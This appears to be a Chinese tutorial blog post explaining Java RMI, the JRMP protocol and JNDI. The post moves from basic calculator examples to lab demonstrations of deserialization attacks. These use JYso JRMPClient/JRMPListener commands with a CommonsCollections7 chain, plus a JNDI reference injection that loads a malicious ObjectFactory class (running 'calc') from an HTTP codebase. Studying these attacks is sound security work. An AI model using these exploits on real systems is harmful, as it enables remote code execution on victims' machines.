找回密码
 立即注册
首页 业界区 业界 浅谈RMI、JRMP、JNDI

浅谈RMI、JRMP、JNDI

啸妹回 2025-6-4 20:16:09
目录

  • RMI

    • 概念:
    • 为什么要有RMI?
    • RMI的构成:
    • 如何使用RMI



        • 注意!!!



  • JRMP(是RMI的通信协议的名字)

    • 概念
    • 查看通信过程
    • 工具使用

      • 攻击Server
      • 攻击Client


  • JNDI

    • 什么是JNDI
    • 那么JNDI和RMI的关系是什么
    • JNDI加载恶意类


RMI

概念:

​                RMI(Remote Method Invocation) 是 Java 提供的一种远程通信机制,它允许一个 Java 程序调用另一个 远程 Java 虚拟机(JVM) 中的对象方法,就像调用本地对象一样
为什么要有RMI?

​                在分布式应用中,不同模块或服务可能部署在不同服务器上,RMI 允许你在一个机器上的 Java 程序远程调用另一台机器上的 Java 方法,实现模块间的通信。
RMI的构成:

​                RMI主要由Server、Client、Registry(服务端、客户端、注册中心)构成。
​                其中Client作为使用者,远程调用Server上的对象方法,而Server就是远程方法的提供者。
​                注册中心类似于手机中的通讯录,可以理解为注册中心是用来注册和查找远程对象的目录服务。
​                服务端通过registry.rebind("服务名", 远程对象) 将远程对象绑定到注册中心。
  1.         //这个是注册中心的端口号
  2.         Registry registry = LocateRegistry.createRegistry(1099);
  3.         Calc calc = new Calcimpl(); //创建一个计算器的实现类
  4.         //使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
  5.         //然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
  6.         //registry.rebind()方法将计算器对象绑定到RMI服务中
  7.         registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中
复制代码
​                客户端通过注册中心,在Server端查找所需要的远程对象
  1.         Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
  2.         //通过注册中心,找到远程的远程对象
  3.         Calc calc = (Calc) registry.lookup("Calc");
  4.         int result = calc.add(1, 2);
  5.         System.out.println(result);
复制代码

如何使用RMI

​                使用RMI一个很必要的前提就是Client拥有Interface A,而Server拥有Interface A 的实现类 Class A_impl
​                所以可以理解Client上的每个接口都对应了Server上的一个实现类
  1. Server:
  2.         new一个注册中心,并绑定指定的端口 ==》 将创建好的对象添加到注册中心
  3. Client:
  4.         通过注册中心提供的方法,获取远程的注册中心 ==》 并通过方法名的方式,在Server上查找服务端方法,并使用
复制代码
​        Client代码
  1. public class Main {    public static void main(String[] args) throws RemoteException, NotBoundException {        //去找远程的 注册中心        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
  2.         //通过注册中心,找到远程的远程对象
  3.         Calc calc = (Calc) registry.lookup("Calc");
  4.         int result = calc.add(1, 2);
  5.         System.out.println(result);    }}
复制代码
​        Client上的Interface
  1. package org.example.Service;
  2. import java.rmi.Remote;
  3. public interface Calc extends Remote {
  4.     public int add(int a , int b) throws java.rmi.RemoteException;
  5.     public void print(Object o) throws java.rmi.RemoteException;
  6. }
复制代码
​        Server代码
  1. public class RmiService {    public static void main(String[] args) throws RemoteException {        //这个是注册中心的端口号
  2.         Registry registry = LocateRegistry.createRegistry(1099);
  3.         Calc calc = new Calcimpl(); //创建一个计算器的实现类
  4.         //使用UnicastRemoteObject.exportObject()将对象转化成一个可以远程调用的对象
  5.         //然后port是传输这个对象需要的端口值,这里的0表示使用随机分配的端口
  6.         //registry.rebind()方法将计算器对象绑定到RMI服务中
  7.         registry.rebind("Calc", UnicastRemoteObject.exportObject(calc, 0)); //将计算器注册到RMI服务中    }}
复制代码
​        Server上的Interface及其实现(注意:这里的Interface和Client上的是完全一样的)
  1. package org.example.Service;
  2. import java.rmi.Remote;
  3. public interface Calc extends Remote {
  4.     public int add(int a , int b) throws java.rmi.RemoteException;
  5.     public void print(Object o) throws java.rmi.RemoteException;
  6.    
  7. }
  8. ==========================================================================================================================
  9. package org.example.Service;
  10. import java.rmi.RemoteException;
  11. public class Calcimpl  implements  Calc{
  12.     @Override
  13.     public int add(int a, int b) throws RemoteException {
  14.         int result = a + b;
  15.         System.out.printf("%d + %d = %d", a, b, result);
  16.         return result;
  17.     }
  18.     @Override
  19.     public void print(Object o) throws RemoteException {
  20.         System.out.printf((String) o);
  21.     }
  22. }
复制代码
​                那么运行Server之后,再运行Client,就能得到对应的结果了
1.png

注意!!!

​                        Client远程调用Server上的方法A,方法A最终是在Server上运行的,然后由Server将运行完成的结果发送给Client,而不是在Client上运行
JRMP(是RMI的通信协议的名字)

概念

​                JRMP(Java Remote Method Protocol) 是专门为 Java RMI(Remote Method Invocation) 设计的一种专用通信协议。
​                JRMP 仅用于 RMI 调用,是 RMI 默认使用的底层传输协议。
查看通信过程

​                还是使用上面的代码,Server端保持运行,然后运行一次客户端,查看JMI使用JRMP协议调用的过程
2.png

3.png

​                然后可以发现,这里传输的是经过序列化的数据。这也说明,在Server或Client上是会将其反序列化为Java对象
​                那么如果将序列化的数据替换成我们的恶意利用链,那么其中一端在反序列化的过程中,就会触发恶意利用链,并执行恶意Payload
工具使用

​                https://github.com/qi4L/JYso
​                查看WiKi描述的使用方式
4.png

攻击Server

​        此处意在模拟攻击RMI开放端口
​        首先,这里保持服务端一直运行(注意,此处JDK版本为jdk8u112,且加载commons-collections 3.2.1)
​        高版本JDK引入了对象输入过滤器,防止反序列化加载恶意类,所以不太能成功
  1.         <dependency>
  2.             <groupId>commons-collections</groupId>
  3.             commons-collections</artifactId>
  4.             <version>3.2.1</version>
  5.         </dependency>
复制代码
5.png

​        使用命令
  1. D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPClient 127.0.0.1 1099 -g CommonsCollections7 -p calc
复制代码
​                成功执行命令calc
6.png

攻击Client

​        此处意在模拟RMI Client参数可控的条件下,攻击Client
​        首先使用工具起一个监听
7.png
  1. D:\jdk8\bin\java.exe -cp JYso-1.3.5.1.jar com.qi4l.JYso.exploit.JRMPListener  1098 -g CommonsCollections7 -p calc
复制代码
​        然后修改Client代码中的Host和Port为攻击工具开放的Host和端口
8.png

​                然后执行Client端代码,成功执行payload
9.png


JNDI

什么是JNDI

​                JNDI(Java Naming and Directory Interface)是 Java 提供的一个 API,用于访问命名和目录服务。本质上,它提供了一个 统一的接口,让 Java 程序可以查找资源,比如对象、数据库连接、远程服务等。
那么JNDI和RMI的关系是什么

​        JNDI 是一个接口,底层可以对接不同的服务提供者(SPI):

  • LDAP(轻量级目录访问协议)
  • RMI Registry
  • DNS
  • File System
  • 自定义服务提供者
名称作用举例或说明JNDIJava Naming and Directory InterfaceJava 的统一资源查找 API,可以通过名字查找对象(比如数据库、远程服务等)LDAPLightweight Directory Access Protocol一种目录服务协议,JNDI 可以通过它查询结构化的资源(常用于企业环境)RMIRemote Method InvocationJava 自带的远程对象调用机制,可以通过网络调用远程 Java 对象的方法JRMPJava Remote Method ProtocolRMI 默认使用的底层协议,是 Java 专有的远程通信协议
  1.              JNDI
  2.               |
  3.        -------------------
  4.       |         |        |
  5.     LDAP      RMI     Others (DNS, File, etc.)
  6.                |
  7.              JRMP
复制代码
​                总结:JNDI是Java提供的API,可以对接不同的服务(如LDAP、RMI、DNS),而JRMP又是RMI的底层协议
JNDI加载恶意类

​                需要准备:Server、Client、恶意类
恶意类evil_test(这里什么名字都可以)
  1. import javax.naming.Context;
  2. import javax.naming.Name;
  3. import javax.naming.spi.ObjectFactory;
  4. import java.io.IOException;
  5. import java.util.Hashtable;
  6. public class evil_test implements ObjectFactory {
  7.     //构造方法在类加载的时候就会执行,不需要特意调用,所以要写在构造方法里
  8.     public evil_test() throws IOException {
  9.         Runtime.getRuntime().exec("calc");
  10.     }
  11.     @Override
  12.     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  13.         return null;
  14.     }
  15. }
复制代码
Server代码
  1. public class RmiService {
  2.     public static void main(String[] args) throws RemoteException, NamingException {
  3.         //搞一个注册中心,注册中心监听端口为1099
  4.         Registry registry = LocateRegistry.createRegistry(1099);
  5.         //创建一个引用,其中的第一个参数是远程对象名称,第二个参数是远程对象实现的类名,第三个参数是URL
  6.         //Reference告诉客户端,要去哪里加载这个远程对象
  7.         Reference reference = new Reference("evil_test", "evil_test", "http://127.0.0.1:8088");
  8.         //将引用包装成ReferenceWrapper对象,并添加到注册中心中
  9.         //这是因为JNDI RMI 注册中心只能接受实现了 Remote 接口的对象,所以需要用别的方法包装一下
  10.         registry.rebind("evil_test",new ReferenceWrapper(reference));
  11.     }
  12. }
复制代码
Client代码
  1. package org.example;
  2. import org.example.Service.Calc;
  3. import javax.naming.InitialContext;
  4. import javax.naming.NamingException;
  5. import java.rmi.NotBoundException;
  6. import java.rmi.RemoteException;
  7. import java.rmi.registry.LocateRegistry;
  8. import java.rmi.registry.Registry;
  9. public class Main {
  10.     public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
  11.         //新建一个命名服务的上下文对象,用于资源的查找
  12.         InitialContext initialContext = new InitialContext();
  13.         initialContext.lookup("rmi://127.0.0.1:1099/evil_test");
  14.     }
  15. }
复制代码
​                编译恶意类
​                这里最好使用和受害者机器一样的JDK环境和编码对恶意类进行编译,不然容易出问题
​                并且恶意类中不应出现包名,不然和受害者包名不一致就会出问题
  1. PS G:\Code\Java\RMIServer\src\main\java> D:\Jdk8u112\bin\javac.exe -encoding UTF-8 .\evil_test.java
复制代码
10.png

11.png

​                编译完成之后,在编译好的class文件处开启一个http服务,用于传输恶意类编译的class!
12.png

​        随后运行Client代码(受害者端),受害者连接Server端,并去我们指定的factoryLocation中查找名为evil_test的恶意类,并加载,最终成功执行Payload

​                具体的实现原理可见https://www.cnblogs.com/LittleHann/p/17768907.html#_label1
​                但是需要注意的是从 JDK 8u121 开始,Java 默认 不再信任RMI远程加载的 Reference 对象的类定义
​                但是可以通过JNDI+LDAP的方式,通过LDAP加载远程恶意类

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册